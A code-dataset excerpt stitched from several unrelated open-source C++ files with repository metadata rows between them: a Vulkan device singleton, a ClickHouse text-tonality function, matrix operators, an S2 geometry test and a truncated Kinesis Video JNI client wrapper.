int convert_timestamp_to_version(int64_t time_us, char *buf, int64_t len)
{
int ret = OB_SUCCESS;
int64_t pos = 0;
if (OB_FAIL(ObTimeUtility::usec_format_to_str(time_us, ObString(OBPROXY_TIMESTAMP_VERSION_FORMAT),
buf, len, pos))) {
LOG_WARN("fail to format timestamp to str", K(time_us), K(ret));
} else if (OB_UNLIKELY(pos < 3)) {
ret = OB_ERR_UNEXPECTED;
LOG_WARN("invalid timestamp", K(time_us), K(pos), K(ret));
} else {
buf[pos - 3] = '\0'; // ms
}
return ret;
}
} // end of namespace obproxy
} // end of namespace oceanbase
| 30.873112 | 100 | 0.620609 | stutiredboy |
2d8cfdec4c380009d3527bebf17e9f376ee006e6 | 3,689 | hpp | C++ | inc/state/interfacelogicaldevices.hpp | wolfviking0/vuda | 4d3593c9e06a1ff3399078e377a92ec26627c483 | [
"MIT"
] | null | null | null | inc/state/interfacelogicaldevices.hpp | wolfviking0/vuda | 4d3593c9e06a1ff3399078e377a92ec26627c483 | [
"MIT"
] | null | null | null | inc/state/interfacelogicaldevices.hpp | wolfviking0/vuda | 4d3593c9e06a1ff3399078e377a92ec26627c483 | [
"MIT"
] | null | null | null | #pragma once
namespace vuda {
namespace detail {
//
// singleton interface for vulkan logical devices
//
class interface_logical_devices final : public singleton {
public:
static logical_device* create(const vk::PhysicalDevice& physDevice, const int device)
{
std::unordered_map<int, logical_device>::iterator iter;
//
// take exclusive lock
// [ contention ]
std::lock_guard<std::shared_mutex> lck(mtx());
//
// return the logical device if it exists
iter = get().find(device);
if (iter != get().end())
return &iter->second;
//
// create a logical device if it is not already in existence
return create_logical_device(physDevice, device);
}
private:
static std::unordered_map<int, logical_device>& get(void)
{
static std::unordered_map<int, logical_device> local_logical_devices;
return local_logical_devices;
}
static std::shared_mutex& mtx(void)
{
static std::shared_mutex local_mtx;
return local_mtx;
}
/*static std::atomic_flag& writers_lock_af(void)
{
static std::atomic_flag wlock = ATOMIC_FLAG_INIT;
return wlock;
}
static std::atomic<bool>& writers_lock(void)
{
static std::atomic<bool> wlock = false;
return wlock;
}
static std::condition_variable_any& cv(void)
{
static std::condition_variable_any cv;
return cv;
}*/
static logical_device* create_logical_device(const vk::PhysicalDevice& physDevice, const int device)
{
//
// get physical device
// const vk::PhysicalDevice& physDevice = Instance::GetPhysicalDevice(device);
//
// get the QueueFamilyProperties of the PhysicalDevice
std::vector<vk::QueueFamilyProperties> queueFamilyProperties = physDevice.getQueueFamilyProperties();
//
// get the first index into queueFamiliyProperties which supports compute
uint32_t computeQueueFamilyIndex = detail::vudaGetFamilyQueueIndex(queueFamilyProperties, vk::QueueFlagBits::eCompute | vk::QueueFlagBits::eTransfer);
//
// HARDCODED MAX NUMBER OF STREAMS
const uint32_t queueCount = queueFamilyProperties[computeQueueFamilyIndex].queueCount;
const uint32_t queueComputeCount = queueCount;
const std::vector<float> queuePriority(queueComputeCount, 0.0f);
vk::DeviceQueueCreateInfo deviceQueueCreateInfo(vk::DeviceQueueCreateFlags(), computeQueueFamilyIndex, queueComputeCount, queuePriority.data());
#ifdef VUDA_STD_LAYER_ENABLED
vk::DeviceCreateInfo info(vk::DeviceCreateFlags(), 1, &deviceQueueCreateInfo, 1, Instance::vk_validationLayers.data(), 0, nullptr, nullptr);
#else
vk::DeviceCreateInfo info(vk::DeviceCreateFlags(), 1, &deviceQueueCreateInfo);
#endif
// get().insert({ device, logical_device(info, physDevice) });
// auto pair = get().emplace(std::piecewise_construct, std::forward_as_tuple(device), std::forward_as_tuple(info, physDevice));
// c++17
auto pair = get().try_emplace(device, info, physDevice);
assert(pair.second);
return &pair.first->second;
}
};
} // namespace detail
} // namespace vuda
| 37.262626 | 163 | 0.597723 | wolfviking0 |
2d8e47b9bcb514977489671a83b5cd714b634d96 | 2,655 | cpp | C++ | src/Functions/FunctionsTonalityClassification.cpp | chalice19/ClickHouse | 2f38e7bc5c2113935ab86260439bb543a1737291 | [
"Apache-2.0"
] | 8,629 | 2016-06-14T21:03:01.000Z | 2019-09-23T07:46:38.000Z | src/Functions/FunctionsTonalityClassification.cpp | chalice19/ClickHouse | 2f38e7bc5c2113935ab86260439bb543a1737291 | [
"Apache-2.0"
] | 4,335 | 2016-06-15T12:58:31.000Z | 2019-09-23T11:18:43.000Z | src/Functions/FunctionsTonalityClassification.cpp | chalice19/ClickHouse | 2f38e7bc5c2113935ab86260439bb543a1737291 | [
"Apache-2.0"
] | 1,700 | 2016-06-15T09:25:11.000Z | 2019-09-23T11:16:38.000Z | #include <Common/FrequencyHolder.h>
#include <Common/StringUtils/StringUtils.h>
#include <Functions/FunctionFactory.h>
#include <Functions/FunctionsTextClassification.h>
#include <unordered_map>
namespace DB
{
/**
* Determines the sentiment of text data.
* Uses a marked-up sentiment dictionary, each word has a tonality ranging from -12 to 6.
* For each text, calculate the average sentiment value of its words and return it in range [-1,1]
*/
struct FunctionDetectTonalityImpl
{
static ALWAYS_INLINE inline Float32 detectTonality(
const UInt8 * str,
const size_t str_len,
const FrequencyHolder::Map & emotional_dict)
{
Float64 weight = 0;
UInt64 count_words = 0;
String word;
/// Select all words from the string
for (size_t ind = 0; ind < str_len; ++ind)
{
/// Split words by whitespaces and punctuation signs
if (isWhitespaceASCII(str[ind]) || isPunctuationASCII(str[ind]))
continue;
while (ind < str_len && !(isWhitespaceASCII(str[ind]) || isPunctuationASCII(str[ind])))
{
word.push_back(str[ind]);
++ind;
}
/// Try to find a word in the tonality dictionary
const auto * it = emotional_dict.find(word);
if (it != emotional_dict.end())
{
count_words += 1;
weight += it->getMapped();
}
word.clear();
}
if (!count_words)
return 0;
/// Calculate average value of tonality.
/// Convert values -12..6 to -1..1
if (weight > 0)
return weight / count_words / 6;
else
return weight / count_words / 12;
}
static void vector(
const ColumnString::Chars & data,
const ColumnString::Offsets & offsets,
PaddedPODArray<Float32> & res)
{
const auto & emotional_dict = FrequencyHolder::getInstance().getEmotionalDict();
size_t size = offsets.size();
size_t prev_offset = 0;
for (size_t i = 0; i < size; ++i)
{
res[i] = detectTonality(data.data() + prev_offset, offsets[i] - 1 - prev_offset, emotional_dict);
prev_offset = offsets[i];
}
}
};
struct NameDetectTonality
{
static constexpr auto name = "detectTonality";
};
using FunctionDetectTonality = FunctionTextClassificationFloat<FunctionDetectTonalityImpl, NameDetectTonality>;
void registerFunctionDetectTonality(FunctionFactory & factory)
{
factory.registerFunction<FunctionDetectTonality>();
}
}
| 29.5 | 111 | 0.604143 | chalice19 |
2d93e16a5984a75ba0dde7597f7d11447fea1331 | 2,706 | cpp | C++ | mpc_least_square_engl/matrix.cpp | pronenewbits/Arduino_Unconstrained_MPC_Library | e406fe1edabfaf240d0884975d0b1caf869367cb | [
"CC0-1.0"
] | 38 | 2020-01-14T20:08:00.000Z | 2022-03-05T03:12:27.000Z | mpc_opt_engl/matrix.cpp | pronenewbits/Arduino_MPC_Library | e406fe1edabfaf240d0884975d0b1caf869367cb | [
"CC0-1.0"
] | 1 | 2021-08-25T12:40:27.000Z | 2021-08-25T12:40:27.000Z | mpc_opt_engl/matrix.cpp | pronenewbits/Arduino_MPC_Library | e406fe1edabfaf240d0884975d0b1caf869367cb | [
"CC0-1.0"
] | 6 | 2020-03-29T14:58:44.000Z | 2022-03-05T03:12:29.000Z | /************************************************************************************
* Class Matrix
* See matrix.h for description
*
* See https://github.com/pronenewbits for more!
*************************************************************************************/
#include "matrix.h"
Matrix operator + (const float_prec _scalar, Matrix _mat)
{
Matrix _outp(_mat.i32getRow(), _mat.i32getColumn());
for (int32_t _i = 0; _i < _mat.i32getRow(); _i++) {
for (int32_t _j = 0; _j < _mat.i32getColumn(); _j++) {
_outp[_i][_j] = _scalar + _mat[_i][_j];
}
}
return _outp;
}
Matrix operator - (const float_prec _scalar, Matrix _mat)
{
Matrix _outp(_mat.i32getRow(), _mat.i32getColumn());
for (int32_t _i = 0; _i < _mat.i32getRow(); _i++) {
for (int32_t _j = 0; _j < _mat.i32getColumn(); _j++) {
_outp[_i][_j] = _scalar - _mat[_i][_j];
}
}
return _outp;
}
Matrix operator * (const float_prec _scalar, Matrix _mat)
{
Matrix _outp(_mat.i32getRow(), _mat.i32getColumn());
for (int32_t _i = 0; _i < _mat.i32getRow(); _i++) {
for (int32_t _j = 0; _j < _mat.i32getColumn(); _j++) {
_outp[_i][_j] = _scalar * _mat[_i][_j];
}
}
return _outp;
}
Matrix operator + (Matrix _mat, const float_prec _scalar)
{
Matrix _outp(_mat.i32getRow(), _mat.i32getColumn());
for (int32_t _i = 0; _i < _mat.i32getRow(); _i++) {
for (int32_t _j = 0; _j < _mat.i32getColumn(); _j++) {
_outp[_i][_j] = _mat[_i][_j] + _scalar;
}
}
return _outp;
}
Matrix operator - (Matrix _mat, const float_prec _scalar)
{
Matrix _outp(_mat.i32getRow(), _mat.i32getColumn());
for (int32_t _i = 0; _i < _mat.i32getRow(); _i++) {
for (int32_t _j = 0; _j < _mat.i32getColumn(); _j++) {
_outp[_i][_j] = _mat[_i][_j] - _scalar;
}
}
return _outp;
}
Matrix operator * (Matrix _mat, const float_prec _scalar)
{
Matrix _outp(_mat.i32getRow(), _mat.i32getColumn());
for (int32_t _i = 0; _i < _mat.i32getRow(); _i++) {
for (int32_t _j = 0; _j < _mat.i32getColumn(); _j++) {
_outp[_i][_j] = _mat[_i][_j] * _scalar;
}
}
return _outp;
}
Matrix operator / (Matrix _mat, const float_prec _scalar)
{
Matrix _outp(_mat.i32getRow(), _mat.i32getColumn());
if (fabs(_scalar) < float_prec(float_prec_ZERO)) {
_outp.vSetMatrixInvalid();
return _outp;
}
for (int32_t _i = 0; _i < _mat.i32getRow(); _i++) {
for (int32_t _j = 0; _j < _mat.i32getColumn(); _j++) {
_outp[_i][_j] = _mat[_i][_j] / _scalar;
}
}
return _outp;
}
| 25.528302 | 87 | 0.533629 | pronenewbits |
2d945326d742fef3037228c58c61446046ef8898 | 2,181 | cc | C++ | 3rdParty/s2geometry/dfefe0c/src/s2/s2closest_point_query_base_test.cc | rajeev02101987/arangodb | 817e6c04cb82777d266f3b444494140676da98e2 | [
"Apache-2.0"
] | 12,278 | 2015-01-29T17:11:33.000Z | 2022-03-31T21:12:00.000Z | 3rdParty/s2geometry/dfefe0c/src/s2/s2closest_point_query_base_test.cc | rajeev02101987/arangodb | 817e6c04cb82777d266f3b444494140676da98e2 | [
"Apache-2.0"
] | 9,469 | 2015-01-30T05:33:07.000Z | 2022-03-31T16:17:21.000Z | 3rdParty/s2geometry/dfefe0c/src/s2/s2closest_point_query_base_test.cc | rajeev02101987/arangodb | 817e6c04cb82777d266f3b444494140676da98e2 | [
"Apache-2.0"
] | 892 | 2015-01-29T16:26:19.000Z | 2022-03-20T07:44:30.000Z | // Copyright 2017 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS-IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Author: ericv@google.com (Eric Veach)
//
// This file contains some basic tests of the templating support. Testing of
// the actual algorithms is in s2closest_point_query_test.cc.
#include "s2/s2closest_point_query_base.h"
#include <gtest/gtest.h>
#include "s2/s2max_distance_targets.h"
#include "s2/s2text_format.h"
namespace {
// This is a proof-of-concept prototype of a possible S2FurthestPointQuery
// class. The purpose of this test is just to make sure that the code
// compiles and does something reasonable.
template <class Data>
using FurthestPointQuery = S2ClosestPointQueryBase<S2MaxDistance, Data>;
class FurthestPointTarget final : public S2MaxDistancePointTarget {
public:
explicit FurthestPointTarget(const S2Point& point)
: S2MaxDistancePointTarget(point) {}
int max_brute_force_index_size() const override {
return 10; // Arbitrary.
}
};
TEST(S2ClosestPointQueryBase, MaxDistance) {
S2PointIndex<int> index;
auto points = s2textformat::ParsePointsOrDie("0:0, 1:0, 2:0, 3:0");
for (int i = 0; i < points.size(); ++i) {
index.Add(points[i], i);
}
FurthestPointQuery<int> query(&index);
FurthestPointQuery<int>::Options options;
options.set_max_results(1);
FurthestPointTarget target(s2textformat::MakePoint("4:0"));
auto results = query.FindClosestPoints(&target, options);
ASSERT_EQ(1, results.size());
EXPECT_EQ(points[0], results[0].point());
EXPECT_EQ(0, results[0].data());
EXPECT_NEAR(4, S1ChordAngle(results[0].distance()).ToAngle().degrees(),
1e-13);
}
} // namespace
| 34.078125 | 77 | 0.733608 | rajeev02101987 |
2d9599f506676e2daf5556c68954dee54ad6dc3f | 1,545 | hpp | C++ | plugins/opengl/include/sge/opengl/vf/client_state_combiner.hpp | cpreh/spacegameengine | 313a1c34160b42a5135f8223ffaa3a31bc075a01 | [
"BSL-1.0"
] | 2 | 2016-01-27T13:18:14.000Z | 2018-05-11T01:11:32.000Z | plugins/opengl/include/sge/opengl/vf/client_state_combiner.hpp | cpreh/spacegameengine | 313a1c34160b42a5135f8223ffaa3a31bc075a01 | [
"BSL-1.0"
] | null | null | null | plugins/opengl/include/sge/opengl/vf/client_state_combiner.hpp | cpreh/spacegameengine | 313a1c34160b42a5135f8223ffaa3a31bc075a01 | [
"BSL-1.0"
] | 3 | 2018-05-11T01:11:34.000Z | 2021-04-24T19:47:45.000Z | // Copyright Carl Philipp Reh 2006 - 2019.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef SGE_OPENGL_VF_CLIENT_STATE_COMBINER_HPP_INCLUDED
#define SGE_OPENGL_VF_CLIENT_STATE_COMBINER_HPP_INCLUDED
#include <sge/opengl/context/object_ref.hpp>
#include <sge/opengl/vf/attribute_context_fwd.hpp>
#include <sge/opengl/vf/client_state.hpp>
#include <sge/opengl/vf/client_state_combiner_fwd.hpp>
#include <sge/opengl/vf/context_fwd.hpp>
#include <sge/renderer/texture/stage.hpp>
#include <fcppt/nonmovable.hpp>
#include <fcppt/reference_impl.hpp>
#include <fcppt/log/object_reference.hpp>
namespace sge::opengl::vf
{
class client_state_combiner
{
FCPPT_NONMOVABLE(client_state_combiner);
public:
client_state_combiner(fcppt::log::object_reference, sge::opengl::context::object_ref);
void enable(GLenum);
void disable(GLenum);
void enable_texture(sge::renderer::texture::stage);
void disable_texture(sge::renderer::texture::stage);
void enable_attribute(GLuint);
void disable_attribute(GLuint);
~client_state_combiner();
private:
fcppt::log::object_reference const log_;
sge::opengl::context::object_ref const context_;
fcppt::reference<sge::opengl::vf::context> const vf_context_;
fcppt::reference<sge::opengl::vf::attribute_context> const attribute_context_;
sge::opengl::vf::client_state const old_states_;
sge::opengl::vf::client_state new_states_;
};
}
#endif
| 25.75 | 88 | 0.768285 | cpreh |
2d9691c02ca65193539f6d65ea91d70d4d191bbd | 3,649 | hpp | C++ | Versionen/2021_06_15/rmf_ws/install/rmf_task_msgs/include/rmf_task_msgs/msg/detail/task_description__builder.hpp | flitzmo-hso/flitzmo_agv_control_system | 99e8006920c03afbd93e4c7d38b4efff514c7069 | [
"MIT"
] | null | null | null | Versionen/2021_06_15/rmf_ws/install/rmf_task_msgs/include/rmf_task_msgs/msg/detail/task_description__builder.hpp | flitzmo-hso/flitzmo_agv_control_system | 99e8006920c03afbd93e4c7d38b4efff514c7069 | [
"MIT"
] | null | null | null | Versionen/2021_06_15/rmf_ws/install/rmf_task_msgs/include/rmf_task_msgs/msg/detail/task_description__builder.hpp | flitzmo-hso/flitzmo_agv_control_system | 99e8006920c03afbd93e4c7d38b4efff514c7069 | [
"MIT"
] | 2 | 2021-06-21T07:32:09.000Z | 2021-08-17T03:05:38.000Z | // generated from rosidl_generator_cpp/resource/idl__builder.hpp.em
// with input from rmf_task_msgs:msg/TaskDescription.idl
// generated code does not contain a copyright notice
#ifndef RMF_TASK_MSGS__MSG__DETAIL__TASK_DESCRIPTION__BUILDER_HPP_
#define RMF_TASK_MSGS__MSG__DETAIL__TASK_DESCRIPTION__BUILDER_HPP_
#include "rmf_task_msgs/msg/detail/task_description__struct.hpp"
#include <rosidl_runtime_cpp/message_initialization.hpp>
#include <algorithm>
#include <utility>
namespace rmf_task_msgs
{
namespace msg
{
namespace builder
{
class Init_TaskDescription_clean
{
public:
explicit Init_TaskDescription_clean(::rmf_task_msgs::msg::TaskDescription & msg)
: msg_(msg)
{}
::rmf_task_msgs::msg::TaskDescription clean(::rmf_task_msgs::msg::TaskDescription::_clean_type arg)
{
msg_.clean = std::move(arg);
return std::move(msg_);
}
private:
::rmf_task_msgs::msg::TaskDescription msg_;
};
class Init_TaskDescription_delivery
{
public:
explicit Init_TaskDescription_delivery(::rmf_task_msgs::msg::TaskDescription & msg)
: msg_(msg)
{}
Init_TaskDescription_clean delivery(::rmf_task_msgs::msg::TaskDescription::_delivery_type arg)
{
msg_.delivery = std::move(arg);
return Init_TaskDescription_clean(msg_);
}
private:
::rmf_task_msgs::msg::TaskDescription msg_;
};
class Init_TaskDescription_loop
{
public:
explicit Init_TaskDescription_loop(::rmf_task_msgs::msg::TaskDescription & msg)
: msg_(msg)
{}
Init_TaskDescription_delivery loop(::rmf_task_msgs::msg::TaskDescription::_loop_type arg)
{
msg_.loop = std::move(arg);
return Init_TaskDescription_delivery(msg_);
}
private:
::rmf_task_msgs::msg::TaskDescription msg_;
};
class Init_TaskDescription_station
{
public:
explicit Init_TaskDescription_station(::rmf_task_msgs::msg::TaskDescription & msg)
: msg_(msg)
{}
Init_TaskDescription_loop station(::rmf_task_msgs::msg::TaskDescription::_station_type arg)
{
msg_.station = std::move(arg);
return Init_TaskDescription_loop(msg_);
}
private:
::rmf_task_msgs::msg::TaskDescription msg_;
};
class Init_TaskDescription_task_type
{
public:
explicit Init_TaskDescription_task_type(::rmf_task_msgs::msg::TaskDescription & msg)
: msg_(msg)
{}
Init_TaskDescription_station task_type(::rmf_task_msgs::msg::TaskDescription::_task_type_type arg)
{
msg_.task_type = std::move(arg);
return Init_TaskDescription_station(msg_);
}
private:
::rmf_task_msgs::msg::TaskDescription msg_;
};
class Init_TaskDescription_priority
{
public:
explicit Init_TaskDescription_priority(::rmf_task_msgs::msg::TaskDescription & msg)
: msg_(msg)
{}
Init_TaskDescription_task_type priority(::rmf_task_msgs::msg::TaskDescription::_priority_type arg)
{
msg_.priority = std::move(arg);
return Init_TaskDescription_task_type(msg_);
}
private:
::rmf_task_msgs::msg::TaskDescription msg_;
};
class Init_TaskDescription_start_time
{
public:
Init_TaskDescription_start_time()
: msg_(::rosidl_runtime_cpp::MessageInitialization::SKIP)
{}
Init_TaskDescription_priority start_time(::rmf_task_msgs::msg::TaskDescription::_start_time_type arg)
{
msg_.start_time = std::move(arg);
return Init_TaskDescription_priority(msg_);
}
private:
::rmf_task_msgs::msg::TaskDescription msg_;
};
} // namespace builder
} // namespace msg
template<typename MessageType>
auto build();
template<>
inline
auto build<::rmf_task_msgs::msg::TaskDescription>()
{
return rmf_task_msgs::msg::builder::Init_TaskDescription_start_time();
}
} // namespace rmf_task_msgs
#endif // RMF_TASK_MSGS__MSG__DETAIL__TASK_DESCRIPTION__BUILDER_HPP_
| 24.006579 | 103 | 0.768978 | flitzmo-hso |
2d999a770e69547a1aa632af0f688ef6aabcba61 | 92,766 | cpp | C++ | kinesis-video-producer-jni/src/source/com/amazonaws/kinesis/video/producer/jni/KinesisVideoClientWrapper.cpp | yuma-m/amazon-kinesis-video-streams-producer-sdk-cpp | 75087f5a90a02a47191c9278cfec329e09535e98 | [
"Apache-2.0"
] | null | null | null | kinesis-video-producer-jni/src/source/com/amazonaws/kinesis/video/producer/jni/KinesisVideoClientWrapper.cpp | yuma-m/amazon-kinesis-video-streams-producer-sdk-cpp | 75087f5a90a02a47191c9278cfec329e09535e98 | [
"Apache-2.0"
] | null | null | null | kinesis-video-producer-jni/src/source/com/amazonaws/kinesis/video/producer/jni/KinesisVideoClientWrapper.cpp | yuma-m/amazon-kinesis-video-streams-producer-sdk-cpp | 75087f5a90a02a47191c9278cfec329e09535e98 | [
"Apache-2.0"
] | null | null | null | /**
* Implementation of Kinesis Video Producer client wrapper
*/
#define LOG_CLASS "KinesisVideoClientWrapper"
#include "com/amazonaws/kinesis/video/producer/jni/KinesisVideoClientWrapper.h"
KinesisVideoClientWrapper::KinesisVideoClientWrapper(JNIEnv* env,
jobject thiz,
jobject deviceInfo) : mClientHandle(INVALID_CLIENT_HANDLE_VALUE),
mJvm(NULL),
mGlobalJniObjRef(NULL)
{
UINT32 retStatus;
CHECK(env != NULL && thiz != NULL && deviceInfo != NULL);
// Get and store the JVM so the callbacks can use it later
if (env->GetJavaVM(&mJvm) != 0) {
CHECK_EXT(FALSE, "Couldn't retrieve the JavaVM reference.");
}
// Set the callbacks
if (!setCallbacks(env, thiz)) {
throwNativeException(env, EXCEPTION_NAME, "Failed to set the callbacks.", STATUS_INVALID_ARG);
return;
}
// Extract the DeviceInfo structure
if (!setDeviceInfo(env, deviceInfo, &mDeviceInfo)) {
throwNativeException(env, EXCEPTION_NAME, "Failed to set the DeviceInfo structure.", STATUS_INVALID_ARG);
return;
}
// Creating the client object might return an error as well so freeing potentially allocated tags right after the call.
retStatus = createKinesisVideoClient(&mDeviceInfo, &mClientCallbacks, &mClientHandle);
releaseTags(mDeviceInfo.tags);
if (STATUS_FAILED(retStatus)) {
throwNativeException(env, EXCEPTION_NAME, "Failed to create Kinesis Video client.", retStatus);
return;
}
// Auxiliary initialization
mAuthInfo.version = AUTH_INFO_CURRENT_VERSION;
mAuthInfo.size = 0;
mAuthInfo.expiration = 0;
mAuthInfo.type = AUTH_INFO_UNDEFINED;
}
KinesisVideoClientWrapper::~KinesisVideoClientWrapper()
{
STATUS retStatus = STATUS_SUCCESS;
if (IS_VALID_CLIENT_HANDLE(mClientHandle))
{
if (STATUS_FAILED(retStatus = freeKinesisVideoClient(&mClientHandle))) {
DLOGE("Failed to free the producer client object");
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
throwNativeException(env, EXCEPTION_NAME, "Failed to free the producer client object.", retStatus);
return;
}
}
}
void KinesisVideoClientWrapper::deleteGlobalRef(JNIEnv* env)
{
// Release the global reference to JNI object
if (mGlobalJniObjRef != NULL) {
env->DeleteGlobalRef(mGlobalJniObjRef);
}
}
jobject KinesisVideoClientWrapper::getGlobalRef()
{
return mGlobalJniObjRef;
}
void KinesisVideoClientWrapper::stopKinesisVideoStreams()
{
STATUS retStatus = STATUS_SUCCESS;
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (STATUS_FAILED(retStatus = ::stopKinesisVideoStreams(mClientHandle)))
{
DLOGE("Failed to stop the streams with status code 0x%08x", retStatus);
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
throwNativeException(env, EXCEPTION_NAME, "Failed to stop the streams.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::stopKinesisVideoStream(jlong streamHandle)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (!IS_VALID_STREAM_HANDLE(streamHandle))
{
DLOGE("Invalid stream handle 0x%016" PRIx64, (UINT64) streamHandle);
throwNativeException(env, EXCEPTION_NAME, "Invalid stream handle.", STATUS_INVALID_OPERATION);
return;
}
if (STATUS_FAILED(retStatus = ::stopKinesisVideoStream(streamHandle)))
{
DLOGE("Failed to stop kinesis video stream with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to stop kinesis video stream.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::freeKinesisVideoStream(jlong streamHandle)
{
STATUS retStatus = STATUS_SUCCESS;
STREAM_HANDLE handle = (STREAM_HANDLE) streamHandle;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (!IS_VALID_STREAM_HANDLE(streamHandle))
{
DLOGE("Invalid stream handle 0x%016" PRIx64, (UINT64) streamHandle);
throwNativeException(env, EXCEPTION_NAME, "Invalid stream handle.", STATUS_INVALID_OPERATION);
return;
}
if (STATUS_FAILED(retStatus = ::freeKinesisVideoStream(&handle)))
{
DLOGE("Failed to free kinesis video stream with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to free kinesis video stream.", retStatus);
return;
}
}
void KinesisVideoClientWrapper::getKinesisVideoMetrics(jobject kinesisVideoMetrics)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (NULL == kinesisVideoMetrics)
{
DLOGE("KinesisVideoMetrics object is null");
throwNativeException(env, EXCEPTION_NAME, "KinesisVideoMetrics object is null.", STATUS_NULL_ARG);
return;
}
ClientMetrics metrics;
metrics.version = CLIENT_METRICS_CURRENT_VERSION;
if (STATUS_FAILED(retStatus = ::getKinesisVideoMetrics(mClientHandle, &metrics)))
{
DLOGE("Failed to get KinesisVideoMetrics with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to get KinesisVideoMetrics.", retStatus);
return;
}
//get the class
jclass metricsClass = env->GetObjectClass(kinesisVideoMetrics);
if (metricsClass == NULL){
DLOGE("Failed to get metrics class object");
throwNativeException(env, EXCEPTION_NAME, "Failed to get metrics class object.", STATUS_INVALID_OPERATION);
return;
}
// Set the Java object
jmethodID setterMethodId = env->GetMethodID(metricsClass, "setMetrics", "(JJJJJJ)V");
if (setterMethodId == NULL)
{
DLOGE("Failed to get the setter method id.");
throwNativeException(env, EXCEPTION_NAME, "Failed to get setter method id.", STATUS_INVALID_OPERATION);
return;
}
// call the setter method
env->CallVoidMethod(kinesisVideoMetrics,
setterMethodId,
metrics.contentStoreSize,
metrics.contentStoreAllocatedSize,
metrics.contentStoreAvailableSize,
metrics.totalContentViewsSize,
metrics.totalFrameRate,
metrics.totalTransferRate);
}
void KinesisVideoClientWrapper::getKinesisVideoStreamMetrics(jlong streamHandle, jobject kinesisVideoStreamMetrics)
{
STATUS retStatus = STATUS_SUCCESS;
JNIEnv *env;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
return;
}
if (!IS_VALID_STREAM_HANDLE(streamHandle))
{
DLOGE("Invalid stream handle 0x%016" PRIx64 , (UINT64) streamHandle);
throwNativeException(env, EXCEPTION_NAME, "Invalid stream handle.", STATUS_INVALID_OPERATION);
return;
}
if (NULL == kinesisVideoStreamMetrics)
{
DLOGE("KinesisVideoStreamMetrics object is null");
throwNativeException(env, EXCEPTION_NAME, "KinesisVideoStreamMetrics object is null.", STATUS_NULL_ARG);
return;
}
StreamMetrics metrics;
metrics.version = STREAM_METRICS_CURRENT_VERSION;
if (STATUS_FAILED(retStatus = ::getKinesisVideoStreamMetrics(streamHandle, &metrics)))
{
DLOGE("Failed to get StreamMetrics with status code 0x%08x", retStatus);
throwNativeException(env, EXCEPTION_NAME, "Failed to get StreamMetrics.", retStatus);
return;
}
//get the class
jclass metricsClass = env->GetObjectClass(kinesisVideoStreamMetrics);
if (metricsClass == NULL){
DLOGE("Failed to get metrics class object");
throwNativeException(env, EXCEPTION_NAME, "Failed to get metrics class object.", STATUS_INVALID_OPERATION);
return;
}
// Set the Java object
jmethodID setterMethodId = env->GetMethodID(metricsClass, "setMetrics", "(JJJJDJ)V");
if (setterMethodId == NULL)
{
DLOGE("Failed to get the setter method id.");
throwNativeException(env, EXCEPTION_NAME, "Failed to get setter method id.", STATUS_INVALID_OPERATION);
return;
}
// call the setter method
env->CallVoidMethod(kinesisVideoStreamMetrics,
setterMethodId,
metrics.overallViewSize,
metrics.currentViewSize,
metrics.overallViewDuration,
metrics.currentViewDuration,
metrics.currentFrameRate,
metrics.currentTransferRate);
}
STREAM_HANDLE KinesisVideoClientWrapper::createKinesisVideoStream(jobject streamInfo)
{
STATUS retStatus = STATUS_SUCCESS;
STREAM_HANDLE streamHandle = INVALID_STREAM_HANDLE_VALUE;
UINT32 i;
JNIEnv *env;
StreamInfo kinesisVideoStreamInfo;
mJvm->GetEnv((PVOID*) &env, JNI_VERSION_1_6);
if (!IS_VALID_CLIENT_HANDLE(mClientHandle))
{
DLOGE("Invalid client object");
throwNativeException(env, EXCEPTION_NAME, "Invalid call after the client is freed.", STATUS_INVALID_OPERATION);
goto CleanUp;
}
// Convert the StreamInfo object
MEMSET(&kinesisVideoStreamInfo, 0x00, SIZEOF(kinesisVideoStreamInfo));
if (!setStreamInfo(env, streamInfo, &kinesisVideoStreamInfo))
{
DLOGE("Failed converting stream info object.");
throwNativeException(env, EXCEPTION_NAME, "Failed converting stream info object.", STATUS_INVALID_OPERATION);
